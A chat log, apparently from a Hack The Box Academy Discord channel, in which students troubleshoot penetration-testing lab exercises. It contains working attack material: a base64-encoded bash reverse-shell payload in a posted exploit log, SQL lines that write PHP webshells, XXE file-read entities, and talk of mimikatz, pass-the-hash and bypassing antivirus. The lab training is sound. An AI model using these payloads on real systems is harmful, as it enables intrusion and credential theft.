modules

[fathom pendant]

You generally have to do -Pn or some other thing so it works right

[neon wadi]

I tried with -Pn and -n and -sT. No luck.

[hexed lintel]

can any one help me

unable to build ptuller-ng with autogen.sh

[neon wadi]

I was able to get proxychains nmap working when running in a root shell (a real shell, not just sudo):

kali@kali:~$ sudo -i                 
root@kali:~# proxychains nmap -sT 172.16.5.1-100 -n -p3389 --open 2> /dev/null

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-06 13:21 PDT
Nmap scan report for 172.16.5.19
Host is up (0.020s latency).

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Nmap done: 100 IP addresses (100 hosts up) scanned in 364.58 seconds

root@kali:~# proxychains nmap -sT 172.16.5.19 -n -p3389 --script *rdp* 2>/dev/null

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-06 13:29 PDT
Nmap scan report for 172.16.5.19
Host is up (0.020s latency).

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server
| rdp-ntlm-info: 
|   Target_Name: INLANEFREIGHT
|   NetBIOS_Domain_Name: INLANEFREIGHT
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: inlanefreight.local
|   DNS_Computer_Name: DC01.inlanefreight.local
|   DNS_Tree_Name: inlanefreight.local
|   Product_Version: 10.0.17763
|_  System_Time: 2024-06-06T20:30:03+00:00
| rdp-enum-encryption: 
|   Security layer
|     CredSSP (NLA): SUCCESS
|     CredSSP with Early User Auth: SUCCESS
|     RDSTLS: SUCCESS
|     SSL: SUCCESS
|_  RDP Protocol Version:  RDP 10.6 server

Nmap done: 1 IP address (1 host up) scanned in 9.85 seconds

It takes quite a while to run, but at least it kind of works.

[little bear]

Module: AD Enum Att Skills Assess II.

Anyone recall splitting any files for transferring tools outside of a 'cert'ain tool? Just looking for confirmation. Thanks! If not, I'm curious either way.

[shut quest]

Didn't use anything like that

[fathom pendant]

The writeup uses it, it's just one of many tools

[vernal hamlet]

Apply the concepts taught in this section to obtain the password to the Vendor user account on the target. Submit the clear-text password as the answer. (Format: Case sensitive) Attacking LSASS

I tried everything anyhelp 😦

[fathom pendant]

Could be that your lsass is corrupted, I'd rm all the lsass files and transfer again

Also you don't need to be root

[vernal hamlet]

i dont know if this is the reason or not but on the section there peocess has three files or sub processes but when i rdp to create dump file for the lsass i see only two

This is in the lesson , Does it matter ?

[fathom pendant]

¯_(ツ)_/¯

[valid viper]

Does anyone else take a huge amount of notes and rely on repetition in terms of popping boxes to learn/remember things?

[ocean night]

Definitely, taking notes is important.

[valid viper]

And in terms of repetition with just doing the thing... Popping boxes... That's more helpful than just re-reading the course content right?

For the CPTS I mean.

[ocean night]

I mean you can take your own notes from the modules and format them in such a way that works best for you

If you complete the module, you retain access to it afterwards (if done during a subscription), so can always refer back, but always useful to take your own notes as you go, as it's good practice for when you start to go up against either the HTB Labs, or against the Exams

[valid viper]

Right, okay.

I just feel a bit insecure because I'm not remembering everything. But yeah I'll get through it.

[fathom pendant]

Any module you buy is yours forever :D

[fathom pendant]

I barely remember half the things aside from the common tools I use, nmap, xfreerdp

And ssh

a good portion of other stuff is just notes ¯_(ツ)_/¯

[wanton idol]

^

[valid viper]

Good to know. Thanks Marcie.

[ocean night]

Yeah, I meant the modules you unlock if you have a subscription like annual. Those you complete, you keep access to after the sub ends

[fathom pendant]

ohhhh ye

[ocean night]

If you unlock with cubes, then yes you keep them

[fathom pendant]

if you complete the CPTS path under an annual sub you keep all the modules

[ocean night]

yup

[rustic sage]

The proxychains was setup fine, I could scan the target host with proxychains Nmap. The issue was the RDP connection would die almost immiedately. I had a chat to support and used a tip from Ryuki about a timeout. Once I set a timeout to 10000ms and network connection to Broadband, I could RDP properly

[spark spruce]

It doesn't matter
There might be higher chances of that type of file in real world.

[west canopy]

marcie speaks the truth, creating your own documentation is absolutely critical imo

[cloud urchin]

what trees?

[next bronze]

you ran the same prebuilt query?

[cloud urchin]

servers seem kinda borked right now

i'm having big problems on US servers, EU seems better but still isn't working

[next bronze]

that should return extended edges too iirc, but it's been a while since I've used the legacy version

[next bronze]

which module

[cloud urchin]

me or siffer?

[bold sinew]

Module: Cross Site Scripting > Discovery

I am trying to install the dependencies for XSStrike and I am having difficulty installing fuzzywuzzy. When using pip install python-m pip install python3-m pip install with and without sudo as well as apt-get and even downloading the git itself to try and manually install it. Every attempt to install is failing. Using commands to install and the installation process appears to hang. While manually installing it seems to fail to compile. Any advice?

I am not using the pwnbox, I am using Kali

[next bronze]

you

[cloud urchin]

Windows attacks & defense

[next bronze]

wait for like 5 mins

[cunning night]

HTB AD Skill Assessment 2
Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host

I got an user * * * * *svc and a clear password, but i can't do anything with it. Tried evil-winrm in the host and didn't word. Any ideas?

[cloud urchin]

tried us and eu

US couldn't even remote in after 10 mins, EU let me in once, but the box got that trust error like it disconnected from the domain.

[next bronze]

welp bad time to be doing modules I guess

but that module has been pretty slow to begin with

[oak lance]

I'm stuck on AD Enumeration & Attacks - Skills Assessment Part I question 4. I managed to kerberoast the user in Q3 and can get a reverse shell on the pivot host but can't seem to get any further. All of the users that I try seem to not have permissions to do anything on AD. I can get Ligolo-ng running on the pivot and get to the DC but can't seem to find anything of interest on that. The webshell and reverse shell on the pivot are running as local admin but I still can't seem to get to the domain. Can anyone give me some pointers?

[next bronze]

check what services that account can access, the name should be a pretty big hint

[ocean night]

@cloud urchin could you raise a ticket with support stating what you're experiencing? I'm afraid there is reduced support capacity outside of core EU time zone, but at least someone will be able to pick it up tomorrow and do some testing / checking. Apologies for the inconvenience caused 😦

[cloud urchin]

It's been going on the past few weeks

[ocean night]

[cloud urchin]

Someone mentioned they opened a ticket for this and they said they were aware and working on it

[ocean night]

I'll pass the image you provided on to the academy module team internally also

[cloud urchin]

i posted another one above, it did let me connect one time but got kicked shortly after. box is having domain trust issues with the DC.

it seems to really be affecting any module that also contains an internal vlan with more hosts

[next bronze]

check for access with the accounts that you have

[next bronze]

yeah has been a thing for at least the past week, at least for the US servers

[ocean night]

Understood

[cloud urchin]

its ok i still love htb

[ocean night]

Would you say from maybe mid may?

or more recently

[cloud urchin]

I think it's been happening for several weeks now, I recall people begin to complain here about the EU region, we advised to go to US and it fixed it, and now it seems to be the reverse, EU appears up most of the time, however right now I'm having issues with both.

I'm opening a ticket and writing all this in there too

[ocean night]

Ok

Thank you

[valid viper]

I'm having issues with Attacking Common Apps Skill Assessment 1.

It says the payload was sent, but no session was created.

I tried it about 20 times.

I ended up following the guide step-by-step, so I don't believe it's user error.

[cloud urchin]

whew, respawning the box 3 times got me a different IP, it seems to be letting me connect (US region)

[ocean night]

Could you pass me the IP in DM please?

Curious whether there's an issue with a particular node there

[cunning night]

So, i got this credential and another local admin hash from SQL01 host, using xp_cmdshell. Tried another enumerations on that host and got nothing. Now i did RDP into MS01 using * * * * *svc user, but when i try to transfer mimikatz to the host, the connection drops. Right now i'm really roasted with this question

[next bronze]

have you checked the rights of that user in ms01?

[valid viper]

What is the function of & in nc?

nc -nvlp 9001 &

[+] Extract login nsp token : 9334348aa282e0f96e03acb637b7da8dc52faef73e84cc6a7e6976044fe7a0c1
[+] Login ... Success!
[+] Request upload form ...
[+] Extract upload nsp token : b28f8c661b0a8c023efbb776121c8269bf4113ee3e7cfb6786f8f547e5016986
[+] Base64 encoded payload : ;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMjkuMjAxLjkwLzkwMDEgMD4mMQ== | base64 -d | bash;#
[+] Sending payload ...
[+] Check your nc ...

[1] + done python3 49422.py http://monitoring.inlanefreight.local nagiosadmin 9001

nc isn't catching the shell. nc isn't doing anything.

[little bear]

Thank you gubarz

If you have time, may I dm you with where Im at? I just verified anything over 1.4K doesnt write to stream

[valid viper]

I'm just going to plug in the answer since I doubt this is on the test. But I've got to be honest, the fact that I'm following your guide and it still isn't working is encouraging me to skip around and guess at everything.

How am I supposed to know whether or not I'm doing things correctly when your platform is busted even when I follow your guide?

[ocean night]

The purpose of the & symbol is explained in a previous module

[valid viper]

Alright well, when I use it nc closes.

I say this with the utmost respect, the CPTS is really awesome but your platform has been messed up lately.

People's time is very valuable, and if your platform isn't responding the way your guide says it should...this provides an awful lot of confusion.

[little bear]

Im using nc bg'd as we speak, make sure its still running however. Sometimes it'll stop

[valid viper]

Yeah.

I dunno, you guys are still better than OffSec. But I hope that the CWEE doesn't require me to restart a VM 50 times.

I'm literally plugging in answers and taking notes because things aren't working.

[ocean night]

I'm sorry to hear that - we do accept feedback with the /feedback command, or through our support staff via https://help.hackthebox.com. I'd love to stay up and help, but it's now 4AM again, so I need to get a bit of sleep

[valid viper]

It's hard enough to get this stuff right when the platform is dependable.

I'm not taking any more time to give feedback. I've given you my money and again, you're better than OffSec.

It's just how it is.

I'm moving on to Linux Privilege Escalation, if I can't get a shell to pop in there...lol

[haughty stirrup]

I would definitely say HTB infra is at least 10x better than Offsec lol

[valid viper]

I give them that.

Their content is amazing and I've learned a TON.

But when I go to study if the platform is down, that's my TIME and my EFFORT being wasted.

[little bear]

UriEl what's your completion %? (Im 99.56%)

[valid viper]

All I have left is Privilege Escalation Linux/Windows and Attacking Enterprise Applications.

And again I have every intention of moving on to the CWEE.

It's just really sad when I can't trust the platform to tell me when I'm screwing up. That's a BIG problem.

Maybe that module just sucks...Linux Priv Esc is working.

But yeah, I tried to be respectful. I love HTB and the CPTS 🙂

Very good value etc...

[little bear]

Mind dming me?

This really isnt the spot for feedback as other users are equally working on the same path

[valid viper]

Maybe a feedback channel would be a good idea.

But yeah I'm done complaining, I am sure I was doing things correctly. The platform is just messed up at the moment.

The real scary thing is what if the test glitches on me?

That is what I'm most afraid of, and I hope that that area of the platform is dependable.

[shut quest]

If anything I used a post request back to one of my http servers

[shut quest]

See above

[limber surge]

password attacks > attacking active directory & NTDS.dit

Capture the NTDS.dit file and dump the hashes. Use the techniques taught in this section to crack Jennifer Stapleton's password. Submit her clear-text password as the answer. (Format: Case-Sensitive)
It should show the hashes right?
when running the crackmapexec smb {IP} -u jmarston -p {pass} --ntds. but for mine, it does not prompt anything

[modern spear]

Hi guys!! i've just finish my ADenum&att module, the question 4 of assessment 2 need me to figure it out one credential, after struggle to find the cred i try to use the same password at password spraying section and get a cred. I doubt that i use the right way so i have double check with the walkthrough and the password just come up to password spraying without any specific way to find it, Am i missing something or that 's the real scenario out there that we just guess the password. Sorry if this question bother you i have no experience in this field so i really curious about this

[next bronze]

the --ntds for CME is DCSync, to dump the local NTDS.dit file, you'll need to get a shell on target

[next bronze]

spray with the common passwords mentioned in the module

[shut quest]

Just looked at your screen shot, sorry thought you were trying to go the other way. Yeah if you're still around you can dm

[bold sinew]

Still needing assistance with this if anyone has an ideas.

[shut quest]

What's the error message when you pip install?

[bold sinew]

I receive an error about a directory being inaccessible and its defaulting to the home directory. Then it freezes up, no further output and no apparent activity.

If I run it with sudo, I don't get the error regarding the directory, but it still freezes up

[shut quest]

Does it do it with other packages?

[oak lance]

I only have one account so far, or am I re-using the accounts that I found in the exercises?

[eager ledge]

Hi, I am doing Skills Assessment of the Pivoting module. I got access to the first pivot Windows server 172.16.x.x. From there, I needed to find second pivot. I did ping sweep but it returned false.

[shut quest]

No, the rest of the module will have no bearing on the assessment. You have an account, check for where else you can use that account.

[eager ledge]

I checked the forums after nothing worked and it revealed one machine to which when I ping, gives response.

The Test-Connection command is also returning True right now

But when I was trying within loop earlier, it had returned False

Why? 😦

How am I supposed to know if similar things happen during exam?

[ocean night]

The various paths (https://academy.hackthebox.com/paths/jobrole) map to the certifications

[bold sinew]

yes, with everything using pip it freezes

[shut quest]

You should have something return, what command did you run for the for loop? You can wrap it in spoiler tags or DM the command.

[eager ledge]

||1..254 | % {"172.16.6.$($_): $(Test-Connection -count 1 -comp 172.16.6.$($_) -quiet)"}||

[shut quest]

You can try removing it from your home directory? Or try this? /usr/bin/python3 -m pip install fuzzywuzzy

[bold sinew]

I'll try this and get back to you

[shut quest]

Mind if I dm you?

[eager ledge]

Sure

[bold sinew]

That one seemed to work, thank you very much

[next bronze]

the one that you found for that assessment

[eager ledge]

I have executed the same command again, and this time, it gives me true for the same IP address where it had returned False. Can anyone explain why this happened? @shut quest suggested that this might have happened because ICMP requests are unreliable and the server might not have reponded. So, what are my alternatives to make this request reliable?

[proud pine]

There's multiple issues that could make this unreliable. Your best bet is simply upping your count, if you want to rely on ICMP alone. Another option would be to test common ports, instead of just using ping, in order to identify devices. You could sweep the subnet for port 22, to try to find linux hosts, for instance. 445/139 for windows.

[eager ledge]

Thanks for the input.

[shut quest]

That is why I suggested nmap over a ping sweep, a top 20 should provide a high hit chance without taking much time.

[eager ledge]

nmap to port 22?

[west canopy]

if you're doing the ping sweep from a windows machine , i would recommend this Get-Pingsweep.ps1 powershell script

https://gist.githubusercontent.com/joegasper/93ff8ae44fa8712747d85aa92c2b4c78/raw/ba84c297a051833e0b48b3cb31bfbaa8d7fec35f/Get-PingSweep.ps1

[shut quest]

--top-ports 20 or if you just want what rat said -p 22,139,445

[proud pine]

and nmap can already internally handle doing full subnets, so you don't have to make any special loops or anything

[west canopy]

for this we need more than one ping

first ping might not get a response , because the target will ARP broadcast

and ask who you are

[proud pine]

Or might even be blocking ICMP.

[west canopy]

yes, also very common

[eager ledge]

Now that I check the module again, this is actually written there as well.

[shut quest]

That is a fancy script , I like my one liners, but I'll keep this.

[next bronze]

just use nxc

usually if the windows host is live smb will be running

[storm elk]

HTTPS/TLS ATTACKS
Heartbleed Bug

How long did you have to try? I've been trying for an hour to get the result 😅

[forest gorge]

Hi guys,
I have a question about "Documentation & Reporting" module.
I couldn't open the zip files containing the obsidian notebook and the report
Can anyone check if the files are good ?

[storm elk]

working fine here

You can open it as this:

[forest gorge]

Thanks but not working for the sample report pdf and docx

[storm elk]

working fine here

the zip is password protected

just downloaded it, works fine here

[forest gorge]

👍🏿

[hexed lintel]

can any one help me
unable to build ptuller-ng with autogen.sh

[fiery berry]

Check if this can help, otherwise payloadbunny posted the compiled versions one message above
#modules message

[candid lily]

bruh

[ocean night]

How long ago did you spawn it?

[candid lily]

15mins

i respawned it now and got it

[ocean night]

Ok, thanks

Do you have a link to the module / section please?

and VPN name

[candid lily]

https://academy.hackthebox.com/module/176/section/1791

eu academy 5

[ocean night]

Thanks

[candid lily]

will the certificate generated change everytime?

i used certificate from a previous time and it seems to give error on rubeus

nvm it works fine now

[icy marsh]

I,m stuck in nosql injection skill assessment 2,
i'm trying to test the nosqli payloads like $regex etc... when content-type: x-www-form-urlencoded, failed

i'm trying SSJI payloads also. failed as well.

I tried in /login, /forgot and /reset url. all failed. what to do now ?

I also tried with change the content-type to json and pass an json data in the req body, the response said missing that_parameter ...

[acoustic owl]

Try to find a field where you receive a response after you have submitted the form. Take a close look at the answer. Change the input and look at the answer again

[icy marsh]

i only find the /forgot giving an response "the pass reset link has ben sent" when pass the username [got from placeholder]

then stuck

[west dove]

Hey has anyone done the file upload attacks module?

[spark spruce]

DM

[acoustic owl]

There are other forms with feedback

[stable bone]

hi menace bunny

[icy marsh]

see your messege box

[icy marsh]

ou really ? let me get that

[icy marsh]

I did'nt get that . where did u found

[acoustic owl]

You have listed three forms. Which of them give you feedback when you enter something?

[icy marsh]

/forgot

[acoustic owl]

For which form field could you find data that is fairly certain to be correct?

[acoustic owl]

Not only

[normal sand]

Module: Attacking Common Services - Easy

You are targeting the inlanefreight.htb domain. Assess the target server and obtain the contents of the flag.txt file. Submit it as the answer.
I've gotten access to the database and ran the following command:
||```
SELECT '<?php system($_REQUEST["cmd"]); ?>' INTO OUTFILE 'C:\xampp\htdocs\shell.php';

I then started a listener on my attack host on port `1234`.
I then visited this URL in the browser `http://10.129.37.231/shell.php?cmd=` and inserted my payload after that. I didn't get a reverse shell. I ensured to use a Windows payload and even URL encoded it.
Also, if I try visiting the URL with the `whoami` command as a parameter, it doesn't give me an output. I get what's shown in the screenshot instead.

[acoustic owl]

change the quotation marks.
Use “ for SQL
Use ' for PHP

[normal sand]

Changed it like you suggested but still doesn't seem to work 😕

[acoustic owl]

There is one other option apart from System($_Request . Try it with this

[past quarry]

Hello everyone, help me complete this module. Plizz

https://academy.hackthebox.com/module/134/section/1206

[rustic sage]

where you stack at?

[normal sand]

Still doesn't work.

[rustic sage]

in footprinting medium lab, i mounted the nfs share with this command " sudo mount -t nfs 10.129.202.41:/ ./target-nfs/ -o nolock", the nfsshare got mounted but i got an error "Permission denied" when traversing it.. with "ls -n" i got this uid "65534", when i was creating it the user with that uid, it already existed with a username "nobody", and i can't even select that user, it says "account currently not available", also i can't delete that user to create it back!!

[acoustic owl]

Don‘t use System($_RequestUse something different

[dry halo]

$_GET

[acoustic owl]

sudo is not the same as root

[rustic sage]

meaning

[normal sand]

The section actually uses this command:

SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';

But I'm not sure how to access this webshell and make it run my command since it uses $_GET. Do you know how?

[acoustic owl]

You have to run it as root, not as a user with sudo rights

[acoustic owl]

Exactly the same as with the System

[rustic sage]

i see, thanks

[normal sand]

Ahhh okay, I'll try it out, thanks.

[dry halo]

?c=<command>

[rustic sage]

can you give me an example command

[acoustic owl]

The exact same command (without sudo), but you must be root. It's about the UserID. It must be the same. Root = 0

[naive wadi]

Module: ATTACKING ENTERPRISE NETWORKS
Topic: Lateral Movement
Question: Obtain the NTLMv2 password hash for the mpalledorous user and crack it to reveal the cleartext value. Submit the user's password as your answer.

I have the hash but hashcat is giving me a token length exception. I can see it's clearly bigger than the hashes on the hashcat example but not entirely sure how to cut it down?

UPDATE: If anyone reads this in the future, if you are getting the token exception length it can be down to an encoding issue. Just do dos2unix to conver the file from UTF-16LE to UTF-8 and it should function fine. You will also see the difference in file size once this is done, it will go from a file of around 1.7kb to 7-800b.

[rustic sage]

i see

[normal sand]

Still didn't work.

[shut quest]

Adding to what the Buddy said, NFS is file based permissions, meaning there is no server side check. So long as your UID/GID matches the permissions, you will ahave free range.

[rustic sage]

thanks

[acoustic owl]

Then try to change \ to / like c:/blahblah

[normal sand]

This finally worked. Thanks

[shut quest]

And if forward slashes don't work, escape your backslash c:\\

[normal sand]

I should've left the command the same 🤦‍♂️

[normal sand]

The forward slashes worked, thanks for your suggestion.

[rustic sage]

without sudo it gives error "mount.nfs: failed to apply fstab options"

[rustic sage]

i am using the same mount command without sudo

[acoustic owl]

with root, not with your user

[rustic sage]

😩

[shut quest]

su root

[rustic sage]

thanks

[naive wadi]

Anyone give me a nudge with this hash formatting issue?

[rustic sage]

well, hachthebox pwnbox doesn't have root permission, meaning it asks for password, i did the same without root in nfs section in footprinting, it worked without any issue, the problem only occurs in footprinting medium lab, maybe i am not allowed in there, and the flag is somewhere else??

[acoustic owl]

Creds are on the Desktop

[shut quest]

cheat and do sudo su but there's creds to the box on the desktop

[rustic sage]

oooo, thanks

[past quarry]

I cannot repeat what is written even in the module examples.

Use either method from this section to read the flag at '/flag.php'. (You may use the CDATA method at '/index.php', or the error-based method at '/error').

[past quarry]

only these commands are received

<!ENTER your email address [
<!ENTITY corporate SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>

<!Email with the document type [
<!THE ESSENCE OF THE corporate SYSTEM "file:///etc/passwd">
]>

[naive wadi]

I'm losing my mind trying to figure out the issue with this inveigh ntlmv2 hash. I have ran inveigh multiple times and still get the same hash, but unsure how to crack?

[cedar void]

Okay , so I am working on the only question of this section module(https://academy.hackthebox.com/module/33/section/183):

"Connect to the database using the MySQL client from the command line. Use the 'show databases;' command to list databases in the DBMS. What is the name of the first database? "

I typed the command '||mysql -u root -h 94.237.54.176 -P 52537 -p||' and once I was in the database, I type showtases and submitted the first database in the 'Database table'

I removed white spaces and when I submitted my answer, it still wasn't accepted.

[cedar void]

Never mind. Forwhatever reason, HTB now decided my answer was acceptable(despite not changing anything)

[normal sand]

Wasn't really sure where to ask this question so I decided to ask here. I've configured my tmux to use vi keybinds for copy-mode. I understand how to highlight text in the terminal now but when I copy using Enter after selecting the text, it copies the text only to the buffer of copy mode, how do I copy to system clipboard?

Hopefully that makes sense 😅

[naive wadi]

are you using x11 or wayland?

[normal sand]

x11

[naive wadi]

should already be in the clipboard

wait are you in a vim session too?

as in 1 window vim 1 window terminal etc

[normal sand]

Maybe I'm not using x11 then? 💀
I'm just running a basic installation of kali.

No, I'm not in vim. I've launched tmux, entered a bunch of commands and then entered copy-mode. I've highlighted text and when I use the keybind Enter to copy the selected text and exit copy-mode, it doesn't copy it to clipboard.

[naive wadi]

If you are running basic installation it still uses x11

[normal sand]

Alrighty

Say I copy something like this and click Enter, it doesn't copy to clipboard.

[naive wadi]

are you using the tmux plugin manager or something else?

[normal sand]

Nothing, this is a fresh install of Kali.

My conf file.

[naive wadi]

another questions do you mean to the global clipboard or just kali's?

as in is this in a vm and you want it in global clipboard?

[normal sand]

Just Kali.

[normal sand]

I've already configured my VM to be bidirectional, so it should copy to both either ways, at least that's been the behaviour for everything else.

Just can't get text from copy-mode to the Kali's clipboard for some reason.

[next bronze]

take a look at this
https://github.com/tmux/tmux/wiki/Clipboard

[normal sand]

Alrighty, thanks.

[naive wadi]

plugin manager is also good if you get a chance

[normal sand]

Noted

[normal sand]

I tried the set-clipboard doesn't work, gonna give the other method a shot.

[normal sand]

Any particular plugin you'd suggest?

[naive wadi]

at work at the moment but you can see my config here https://github.com/mdb-dev-io/mydotfiles/blob/main/dotfiles/config/tmux/README.org

Pluggins are near the bottom

You'll need to get the plugin manager too

[normal sand]

I tried the other method from the official docs and still didn't work 😕

[naive wadi]

have you rebooted your vm since making the changes

[normal sand]

I've gotta reboot...? I thought if I killed the tmux session it'd be enough.

The first method didn't actually require me to make any changes to my configuration which I found to be quite odd.

The second method involved me only adding one line to the conf file.

[naive wadi]

mate, I am trying to help. Fundamental rule of troubleshooting "if in doubt reboot"

[normal sand]

Alrighty, I'll give it a go rn.

[naive wadi]

Has anyone encountered the issue with inveigh where hashcat has the token length exception with the hash? I've seen thishttps://github.com/Kevin-Robertson/Inveigh/issues/24 and tried adding the challenge but can't get it to work

It's in refernce to Module: ATTACKING ENTERPRISE NETWORKS
Topic: Lateral Movement
Question: Obtain the NTLMv2 password hash for the mpalledorous user and crack it to reveal the cleartext value. Submit the user's password as your answer.

[stable bone]

my computer is on fire do i just restart?

[naive wadi]

That's not troubleshooting, that's negligence

[stable bone]

my computer has now summoned demons do i force a shutdown?

[naive wadi]

no, shout "Hail Satan"

[stable bone]

it is now floating you lied to me

[lavish mango]

You have to cast it to a signed int so it'll behave. This is basic daemonology come on!

UNSIGNED INT 💩!!! Please tell me you didn't cast it to a signed int. Oh no...

Oh C, Lord of Chaos. Pitty us mere mortals.

[worldly dew]

Guys does HTB Monthly Gold subscription to the accademy cover TIER III ?

[rustic geode]

hi, I need a small nudge for the Hard skill assessment in the Abusing HTTP Misconfigurations module. Can I please dm someone?

[worn estuary]

Hi, I have a problem with enrolling in the academy. Exactly 1 month ago I bought the student plan on HTB and I didn't want to renew the plan this month (it expired on June 3rd). Despite this, however, I can still see the modules that I have never done and I still get the "Student" rank, I don't think this is normal, right?

Can someone redirect me to official or perhaps specific support for this type of problem?

[wanton idol]

i would have said nun and keep the free stuff XD

[storm elk]

If you purchase them with cubes I think they’re always yours

[worn estuary]

hahaha clearly I think it's illegal and I don't want to be charged

[worn estuary]

I still have student rank and can see modules I've never even seen. For the rest, yes, the ones I have already completed are clearly mine now

[wanton idol]

if they dont know it never happened 😂

but too late for u, u can contact support

its the green box on bottom right corner in academy

[worn estuary]

where can I contact him?

[worn estuary]

I have no button to bottom right corner in academ

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[worn estuary]

Ok I will test this thx

[wanton idol]

np

[fathom pendant]

Do you mean does it give full access? No

Only gold annual gives access to t3 modules, gold monthly just gives cubes

[cunning night]

Hey, thanks for the hint. Just got the flag. Tyvm 🙂

[worldly dew]

Thank you! 🙂
Looking at doing the CREST CPSA/CRT pathway 🙂

[fathom pendant]

¯_(ツ)_/¯

Idk what that full path cost (including the cube refund) looks like

T1+ modules give back 20% of spent cubes as/when you complete

[worldly dew]

7290 cubes in total

[fathom pendant]

¯_(ツ)_/¯

I'm not in EU so I never dove much into it

[worldly dew]

Can earn 1580 cubes from it I think

[fathom pendant]

In total doesn't include the 20% from t1-3 modules within

Any t0 gives 100%

Probably better worth going for like 6-7 months of plat

Which gives 1k Cubes per month, and you'll likely spend enough time that you won't wait too long for the next cube deposit

[worldly dew]

Looks like further down on the list some of the modules cost 500 cubes

I'll do the 10 cube ones to start with as I got 60 cubes I can use now

then I'll prob get gold sub

Can only really dedicate an hour a night to it unfortunatly

But its better than reading books, I learn by doing... lol

[fathom pendant]

Yeah then doing a few monthly subs to rack up the cubes is best

[worldly dew]

Thanks Marcie 🙂

[fathom pendant]

1 hour at a time though, you'll be done in 3 years

[worldly dew]

Ah give or take, may be a bit of extra time here and there, just how much I can push myself and fit it in

[agile token]

Hello this gonna sound so stupid but I am really lost in 3rd question in this module https://academy.hackthebox.com/module/147/section/1638 I tried like everything I can but nothing works for me, even checked the people trying to give tips but still I cant get it. If anyone has patience to tell me how to access shared folder for david, I would be happy, else I am going to sleep in front of my laptop whole time

[acoustic owl]

@icy marsh I deleted your post because it almost shows the complete solution.
Have another look at the Blind data extraction section. You have made a mistake in the logic

[fathom pendant]

You pth

As shown in the section

It may not reflect when you do whoami but you should be able to access the \\DC01\david\ share

[agile token]

so, after using mimikatz I should be able to see contents of shared folder?

[fathom pendant]

The full filepath is \\DC01\david\david.txt

[agile token]

I really get confused, bc I remember like I tried it

[fathom pendant]

Yes

[agile token]

alright I will do it again, thanks for help

[fathom pendant]

If all else fails switch to EU vpn, as US seems to act up with some things

Note the hash passing method opens a whole new cmd/powershell session

[agile token]

omg, rn I feel so dumb... instead of writing \DC01\david, I was writing //DC01/david 💀

[patent oak]

Guys could I a sanity check please? 😄 I was just doing the BROKEN AUTHENTICATION Skills Assessment on Bug Bounty Hunter. I was deep into it and just finished crafting my attack. Went to launch my attack but the box had timed out. No panic so I clicked it to open fresh. However, now it's a completely different app/webpage. This one says "It's time to use bot in your server", the other one was like a very simple site with ability to send messages and log in/signup, a bit of a blog.

[wanton idol]

can someone review my aen report and give tips and pointers to make it better ik i did alot of mistakes that im not aware of 🙏

[shut quest]

Report for?

[wanton idol]

for AEN as in a pentest report

[shut quest]

Send it over

[glass quail]

I'm so confused right now did HTB change the modules around or something because I was trying to find the flag and I can't even find the exercise

now it says I complete the section I was almost done with I was this close 👌

[fathom pendant]

Some modules got batch updated

[patent oak]

Something weird just happened to me. The assessment box timed out and when I opened it again, it was another app 😄

[patent oak]

Thanks for letting us know 😄

[glass quail]

ok thank you I thought I was losing my sanity

[fathom pendant]

I was just chatting with Jared the other day. For big updates they prefer to bulk change, especially if they're updating walk-throughs as well. As some were fairly outdated

[hexed oyster]

https://tenor.com/HKaGQslZha.gif

[plucky oriole]

Hi, did someone having problems to unlock a module using cubes?

[acoustic owl]

Deactivate all AdBlockers

[fierce mason]

for the "interacting with users" section in windows privilege escalation, ive placed a .scf file in the Private\IT directory as well as C:\ and C:\Windows, since the hint mentioned shares that the current user can write to, but i still haven't received a hash for the sccm_svc user, am i doing something wrong

[fierce mason]

nvm

[acoustic owl]

Please do not publish any solutions

[timber hatch]

anybody also work with the own kali and has big problems witht the vpn?

[fathom pendant]

Lemme guess no network connectivity when using the vpn?
Network manager-->tun0 adapter-->only use resources on its network

[timber hatch]

no, i have connectivity. it laggs just very awful

[fathom pendant]

Like regular internet connectivity or connection to boxes

If so, just try changing vpn regions and seeing if that fixes

[timber hatch]

i have already changed.... same problem. regular internet works fine. just the ping to the boxes is slow, and the windows machines which i conenct to crashes all the time

[fathom pendant]

Reach out to support then

[timber hatch]

i just use the provided box...

[fathom pendant]

Idk

[timber hatch]

ah i know why. i had already a pwn box open from htb, and he boxes to receive the same ip

[fathom pendant]

Ah, yeah, that'll do it

[timber hatch]

my own kali machine and the box do receive the same ip

[fathom pendant]

Yeah that's how the vpn works

In regards to the tun0 ip

[timber hatch]

I didn't know that the instance and my own Kali machine get the same ip. One is in the cloud and with the other I set up a vpn. but ok again something learned

[fathom pendant]

They both use the same vpn pack to connect

[timber hatch]

aaah

[fathom pendant]

Its why when troubleshooting many others tell you to turn off one when testing the other

The only time it doesnt matter, is for the docker containers

public_ip:port

[ripe thicket]

The logout button for the dashboard is not working...just fyi

[fathom pendant]

Since you don't need the vpn to attack/access

[fathom pendant]

Message support then ig

[timber hatch]

thx @fathom pendant

[languid fjord]

Or /feedback

[timber hatch]

when impacket smb gets blocked by av, how could we evase it?

[fathom pendant]

Smbclient? Or smbserver?

The simple thing is that windows sometimes doesn't like unauthenticated access

So you'd need to set a user/pass to access (if you're launching an smb server)

Also it wouldn't be AV, it'd be firewall

Or some GPO

[fickle thicket]

How does one enumerate well and leave no stones unturned?

[timber hatch]

i've setup a smb file server and tried to copy a file from my windows to my kali, norton antivirus has instantly blocked it with the message: Fake SMB Server Response blocked

[fathom pendant]

likely bc it isn't set up with credentialed access ¯_(ツ)_/¯

And Norton has a firewall

So again, not necessarily AV

[fathom pendant]

Throw everything at it

[timber hatch]

question remains the same, how to get around it

[fathom pendant]

Also, depending on your hypervisor you can just... transfer files

[timber hatch]

yes logical, but i would be interested to know how norton could be tricked 😉

[fathom pendant]

Virtualbox has a file manager you can use to transfer files

[fathom pendant]

Set up your smb server with credentials

As im saying a lot of it deals with there being no credentials

Or go into Norton and allow the connection

¯_(ツ)_/¯

[timber hatch]

haha, no that would be cheating

[fathom pendant]

Brother, you're asking for ways around it. I'm telling you ways around it

[timber hatch]

alright sister

[fathom pendant]

Since you trust this connection, allowing it is perfectly fine

And you can remove that White-list after

